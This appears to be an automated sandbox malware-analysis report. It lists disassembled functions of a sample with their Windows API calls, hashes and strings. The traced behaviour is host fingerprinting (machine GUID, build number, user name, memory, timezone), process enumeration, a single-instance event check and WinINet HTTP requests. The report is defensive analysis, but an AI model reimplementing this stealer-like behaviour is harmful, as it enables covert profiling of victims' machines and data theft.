Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: CharCloseOpenQueryValuememset
String ID: MachineGuid$SOFTWARE\Microsoft\Cryptography
API String ID: 2391366103-1211650757
Opcode ID: e700b7023bf9e8dbd497fbb4e43d42ebc614438fbdd82c04f2954e56f97c9238
Instruction ID: 782b84d42d0d06b912d34d3dac9a589f721f2d7cdf24700b86374e4a20e7c3f4
Opcode Fuzzy Hash: e700b7023bf9e8dbd497fbb4e43d42ebc614438fbdd82c04f2954e56f97c9238
Instruction Fuzzy Hash: E001D475A4030CBBDB60DB90DC4AFEEB778EB04700F100199F648A6081DBB46BC48B94

Function 00412FA0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 101stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0040F810: lstrcpyA.KERNEL32(00000000,0041760D,0041760D,004201E9), ref: 0040F839

Part of subcall function 0040F850: lstrcpyA.KERNEL32(00000000,?,?), ref: 0040F878

Part of subcall function 00405010: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00405062
Part of subcall function 00405010: StrCmpCA.SHLWAPI(?,024BDE18,?,?,?,?,?,?,?), ref: 0040507A
Part of subcall function 00405010: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 004050A2
Part of subcall function 00405010: HttpOpenRequestA.WININET(00000000,GET,?,024BFBE0,00000000,00000000,-00400100,00000000), ref: 004050DC
Part of subcall function 00405010: InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00405100
Part of subcall function 00405010: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0040510F

Part of subcall function 0040F8F0: lstrcpyA.KERNEL32(00000000,?,004201E9), ref: 0040F930

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00412FFA
lstrlenA.KERNEL32(00000000), ref: 00413011

Part of subcall function 00410DA0: LocalAlloc.KERNEL32(00000040,?,?,00000000,00000030,?,00413026,00000000,00000000), ref: 00410DBC

StrStrA.SHLWAPI(00000000,00000000), ref: 00413039
lstrlenA.KERNEL32(00000000), ref: 0041304E
lstrlenA.KERNEL32(00000000), ref: 0041306B

Strings

ERROR, xrefs: 00412FEC, 00413076, 0041309D

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSend
String ID: ERROR
API String ID: 3240024479-2861137601
Opcode ID: b621b67f7b989cabd62ac257e5b8db5ebe0714c1d6c0129ab3b7dcedbabd38d4
Instruction ID: bd4d237804207bf9bc1d7224717f3b297064a78b5ccb05320e04b95c877dc140
Opcode Fuzzy Hash: b621b67f7b989cabd62ac257e5b8db5ebe0714c1d6c0129ab3b7dcedbabd38d4
Instruction Fuzzy Hash: E43180329001046BCB24FF71DC569EE37A8AE54704F40813AFD0672592EF386B488BA8

Function 004105A0 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 47registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 004105B5
HeapAlloc.KERNEL32(00000000), ref: 004105BC

Part of subcall function 0040FA60: GetProcessHeap.KERNEL32(00000000,00000104,00000000), ref: 0040FA75
Part of subcall function 0040FA60: HeapAlloc.KERNEL32(00000000), ref: 0040FA7C
Part of subcall function 0040FA60: RegOpenKeyExA.KERNEL32(80000002,02499658,00000000,00020119,?), ref: 0040FA9B
Part of subcall function 0040FA60: RegQueryValueExA.KERNEL32(?,CurrentBuildNumber,00000000,00000000,00000000,000000FF), ref: 0040FAB5
Part of subcall function 0040FA60: RegCloseKey.ADVAPI32(?), ref: 0040FABF

RegOpenKeyExA.KERNEL32(80000002,02499658,00000000,00020119,00000000), ref: 004105F1
RegQueryValueExA.KERNEL32(00000000,024C01B0,00000000,00000000,00000000,000000FF), ref: 0041060C
RegCloseKey.ADVAPI32(00000000), ref: 00410616

Strings

Windows 11, xrefs: 004105D0

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3466090806-2517555085
Opcode ID: a47b1fee11c922904502344837a3ea91d47d8b4281bde6fd73d92917b4b8e5ca
Instruction ID: 6a00dca0351ba1f1b5825a2528416373370fab3b8fd5f0a2b799655d5a0aabf6
Opcode Fuzzy Hash: a47b1fee11c922904502344837a3ea91d47d8b4281bde6fd73d92917b4b8e5ca
Instruction Fuzzy Hash: 1201D67160020CBBD710EBA4EC49EBB777EEB44305F00516AFA09D7250D7B499808BE0

Function 0040FA60 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000), ref: 0040FA75
HeapAlloc.KERNEL32(00000000), ref: 0040FA7C
RegOpenKeyExA.KERNEL32(80000002,02499658,00000000,00020119,?), ref: 0040FA9B
RegQueryValueExA.KERNEL32(?,CurrentBuildNumber,00000000,00000000,00000000,000000FF), ref: 0040FAB5
RegCloseKey.ADVAPI32(?), ref: 0040FABF

Strings

CurrentBuildNumber, xrefs: 0040FAAF

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3466090806-1022791448
Opcode ID: 7b7d1b79e19f05ca12c8064292c75d5cc37a930701fe9e474d57c854d10d4e52
Instruction ID: a1553181ab18edaa3b94d53bb79d7bf4b62666c9831d6ad32faf63d23f73e213
Opcode Fuzzy Hash: 7b7d1b79e19f05ca12c8064292c75d5cc37a930701fe9e474d57c854d10d4e52
Instruction Fuzzy Hash: 98F062B5A41318BBD710ABE0AC0AFAB7B7DEB44755F002169FB05A6181D7B45A4087E1

Function 0040FED0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,TimeZone: ,00000000,?,00423408,00000000,?,00000000,00000000,?,Local Time: ,00000000,?,00423408), ref: 0040FEDE
HeapAlloc.KERNEL32(00000000,?,TimeZone: ,00000000,?,00423408,00000000,?,00000000,00000000,?,Local Time: ,00000000,?,00423408,00000000), ref: 0040FEE5
GlobalMemoryStatusEx.KERNEL32(?,?,00000000,00000040), ref: 0040FF05
wsprintfA.USER32 ref: 0040FF2B

Strings

@, xrefs: 0040FEFE
%d MB, xrefs: 0040FF25

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 3644086013-3474575989
Opcode ID: c91f0ec11f474d8c1381f109a4bcd534d4041cf4b5121d99c497be17c465c294
Instruction ID: af9ca1c618701aaf6e1e57e94b25e62574dec66522ec45beacafd1b49d2b4fa6
Opcode Fuzzy Hash: c91f0ec11f474d8c1381f109a4bcd534d4041cf4b5121d99c497be17c465c294
Instruction Fuzzy Hash: ACF062B1A40218ABE714ABA4DC0AFBE77ADFB01345F401129F706E61C0D7B89C0187E5

Function 004158B0 Relevance: 9.1, APIs: 6, Instructions: 130registrystringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 004158D5
RegOpenKeyExA.KERNEL32(80000001,024C0350,00000000,00020119,?), ref: 004158F4
RegQueryValueExA.ADVAPI32(?,024BFAF0,00000000,00000000,00000000,000000FF), ref: 00415918
RegCloseKey.ADVAPI32(?), ref: 00415922
lstrcatA.KERNEL32(?,00000000,?,00000104), ref: 00415947
lstrcatA.KERNEL32(?,024BFD90), ref: 0041595B

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValuememset
String ID:
API String ID: 2623679115-0
Opcode ID: e8724204b0cc03fbcb6c851790506c737117de5578e94a03a6d4afcadaa9153a
Instruction ID: b2658f5a2186259637989032082ab400ffc55dd45aba0fd3878622be2ef6c76c
Opcode Fuzzy Hash: e8724204b0cc03fbcb6c851790506c737117de5578e94a03a6d4afcadaa9153a
Instruction Fuzzy Hash: BD41A3B5900208ABCF24EFA1CC46FDE3739AB85304F40865DFA5566191DB746AC8CFE5

Function 00406C20 Relevance: 9.1, APIs: 6, Instructions: 71filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,0040BA32,?,00000000,?,00000000,00000000), ref: 00406C3F
GetFileSizeEx.KERNEL32(00000000,?,?,0040BA32,?,00000000,?,00000000,00000000,?), ref: 00406C55
LocalAlloc.KERNEL32(00000040,?,?,?,0040BA32,?,00000000,?,00000000,00000000,?), ref: 00406C70
ReadFile.KERNEL32(00000000,00000000,?,?,00000000,?,0040BA32,?,00000000,?,00000000,00000000,?), ref: 00406C89
LocalFree.KERNEL32(?,?,0040BA32,?,00000000,?,00000000,00000000,?), ref: 00406CA9
CloseHandle.KERNEL32(00000000,?,0040BA32,?,00000000,?,00000000,00000000,?), ref: 00406CB1

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: ee52c6b3daa6949a696971c66fd235fc42eaf43d24144f866f82b16b6e88380c
Instruction ID: 5b08f293fa4d369547e293c080fd62cfee42250c67ac5e0144c02d8e3dd3972c
Opcode Fuzzy Hash: ee52c6b3daa6949a696971c66fd235fc42eaf43d24144f866f82b16b6e88380c
Instruction Fuzzy Hash: B011AF71604209AFEB10DF64DC85EBB77BEEB80344F10513EFA42A7290DB389D518BA4

Function 004175F0 Relevance: 9.1, APIs: 6, Instructions: 67COMMON

Download Yara Rule

APIs

Part of subcall function 004176E0: GetProcAddress.KERNEL32(76210000,024BA260), ref: 00417748
Part of subcall function 004176E0: GetProcAddress.KERNEL32(76210000,024BA0F8), ref: 00417761
Part of subcall function 004176E0: GetProcAddress.KERNEL32(76210000,024BA308), ref: 00417779
Part of subcall function 004176E0: GetProcAddress.KERNEL32(76210000,024BA2F0), ref: 00417791
Part of subcall function 004176E0: GetProcAddress.KERNEL32(76210000,02494B70), ref: 004177AA
Part of subcall function 004176E0: GetProcAddress.KERNEL32(76210000,02499FA8), ref: 004177C2
Part of subcall function 004176E0: GetProcAddress.KERNEL32(76210000,02499CE8), ref: 004177DA
Part of subcall function 004176E0: GetProcAddress.KERNEL32(76210000,024BA290), ref: 004177F3
Part of subcall function 004176E0: GetProcAddress.KERNEL32(76210000,024BA2D8), ref: 0041780B
Part of subcall function 004176E0: GetProcAddress.KERNEL32(76210000,024BA170), ref: 00417823
Part of subcall function 004176E0: GetProcAddress.KERNEL32(76210000,024BA1D0), ref: 0041783C
Part of subcall function 004176E0: GetProcAddress.KERNEL32(76210000,02499D48), ref: 00417854

Part of subcall function 0040F810: lstrcpyA.KERNEL32(00000000,0041760D,0041760D,004201E9), ref: 0040F839

Part of subcall function 0040FAE0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00417612,004201E9), ref: 0040FAEC
Part of subcall function 0040FAE0: HeapAlloc.KERNEL32(00000000,?,?,?,00417612,004201E9), ref: 0040FAF3
Part of subcall function 0040FAE0: GetUserNameA.ADVAPI32(00000000,004201E9), ref: 0040FB07

Part of subcall function 0040F9A0: lstrlenA.KERNEL32(?,?,?,?,?,00417633,?,02494B80,?,00423414,?,00000000,004201E9), ref: 0040F9B9
Part of subcall function 0040F9A0: lstrcpyA.KERNEL32(00000000,?,004201E9), ref: 0040F9E1
Part of subcall function 0040F9A0: lstrcatA.KERNEL32(?,?), ref: 0040F9EB

Part of subcall function 0040F8F0: lstrcpyA.KERNEL32(00000000,?,004201E9), ref: 0040F930

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,02494B80,?,00423414,?,00000000,004201E9), ref: 00417672
CloseHandle.KERNEL32(00000000), ref: 00417681
OpenEventA.KERNEL32(001F0003,00000000,00000000), ref: 00417697
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 004176B1
CloseHandle.KERNEL32(00000000), ref: 004176BF
ExitProcess.KERNEL32 ref: 004176C7

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$Eventlstrcpy$CloseHandleHeapOpenProcess$AllocCreateExitNameUserlstrcatlstrlen
String ID:
API String ID: 1749527509-0
Opcode ID: b1e08a575f81a5c8ffce43e659a7b29aa0548e5616646b79b7a11235fb7a4075
Instruction ID: 13c05977e48a492468067969b5632ac7cddf019cfab1cdc1380e7e7caaa560eb
Opcode Fuzzy Hash: b1e08a575f81a5c8ffce43e659a7b29aa0548e5616646b79b7a11235fb7a4075
Instruction Fuzzy Hash: 11213B71A001087BDB14FBB1DC56FEE7378AF10704F50513AB606B24D2EF786A088AA9

Function 00419FE0 Relevance: 7.6, APIs: 5, Instructions: 134fileCOMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(?,00000000,00000000,00000001,00000000,00000030,?,0041B1A9,?,?,?,00000000), ref: 0041A035
CreateFileA.KERNEL32(?,40000000,00000000,00000000,0041B1A9,00000080,00000000,00000000,00000030,?,0041B1A9,?,?,?,00000000), ref: 0041A06F

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: File$CreatePointer
String ID:
API String ID: 2024441833-0
Opcode ID: 772bf794a0539b62a801477fbb62bcb276aa9b4d2b65757f9edafb53a070daec
Instruction ID: ed9b1ade8afe9e764bcb327c8eb7a8881111bfc1a91da69b80f20d04efd87e30
Opcode Fuzzy Hash: 772bf794a0539b62a801477fbb62bcb276aa9b4d2b65757f9edafb53a070daec
Instruction Fuzzy Hash: 10419472505704AFE7309F28A8C0BA7BBD8E754328F108A2FF159C6641D275DCD48B69

Function 6C7FC930 Relevance: 7.6, APIs: 5, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 6C7FC947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C7FC969
GetSystemInfo.KERNEL32(?), ref: 6C7FC9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C7FC9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C7FC9E2

Memory Dump Source

Source File: 00000000.00000002.2788102826.000000006C7E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7E0000, based on PE: true

Associated: 00000000.00000002.2788005295.000000006C7E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788158189.000000006C85D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788193702.000000006C86E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788213145.000000006C872000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7e0000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: a49587c9781e6e72942e665823792239bc13b24ff10fd34ac0a48406e35fd7e8
Instruction ID: 580f57b968127babe7a9d8785d3b232aea666f24c9d7e2141a6d6f33a768ad30
Opcode Fuzzy Hash: a49587c9781e6e72942e665823792239bc13b24ff10fd34ac0a48406e35fd7e8
Instruction Fuzzy Hash: B42103317412046BDB30AE69C9C8BBE77B9AF86309F50143AF953A7B40EB60A800C7D0

Function 00410630 Relevance: 7.6, APIs: 5, Instructions: 82commemoryCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(00424770,00000000,00000001,004238C4,00410847,00000000,00000000,00000030,00410847,00000030,?,00000001,?,00000030,00000000,00000000), ref: 0041066D
SysAllocString.OLEAUT32(?), ref: 0041067B
_wtoi64.MSVCRT ref: 004106BA
SysFreeString.OLEAUT32(?), ref: 004106D9
SysFreeString.OLEAUT32(00000000), ref: 004106E0

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: String$Free$AllocCreateInstance_wtoi64
String ID:
API String ID: 1817501562-0
Opcode ID: 43ba9061f7aaa9e19d061b62b181f6edba0a93b387e1e1e93ae49384c182bd82
Instruction ID: e53d099b401adf85f62220e949137e4eb195d033f19141da227454a58e436e12
Opcode Fuzzy Hash: 43ba9061f7aaa9e19d061b62b181f6edba0a93b387e1e1e93ae49384c182bd82
Instruction Fuzzy Hash: C121ADB1A40259AFCB00DFA8CC81AEEBBB9EF89310F10856AF509D7350C7359941CBA4

Function 00410200 Relevance: 7.6, APIs: 5, Instructions: 61processCOMMON

Download Yara Rule

APIs

Part of subcall function 0040F810: lstrcpyA.KERNEL32(00000000,0041760D,0041760D,004201E9), ref: 0040F839

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00410228
Process32First.KERNEL32(00000000,00000128), ref: 00410238
Process32Next.KERNEL32(00000000,00000128), ref: 0041024A

Part of subcall function 0040F9A0: lstrlenA.KERNEL32(?,?,?,?,?,00417633,?,02494B80,?,00423414,?,00000000,004201E9), ref: 0040F9B9
Part of subcall function 0040F9A0: lstrcpyA.KERNEL32(00000000,?,004201E9), ref: 0040F9E1
Part of subcall function 0040F9A0: lstrcatA.KERNEL32(?,?), ref: 0040F9EB

Part of subcall function 0040F8F0: lstrcpyA.KERNEL32(00000000,?,004201E9), ref: 0040F930

Process32Next.KERNEL32(00000000,00000128), ref: 0041029E
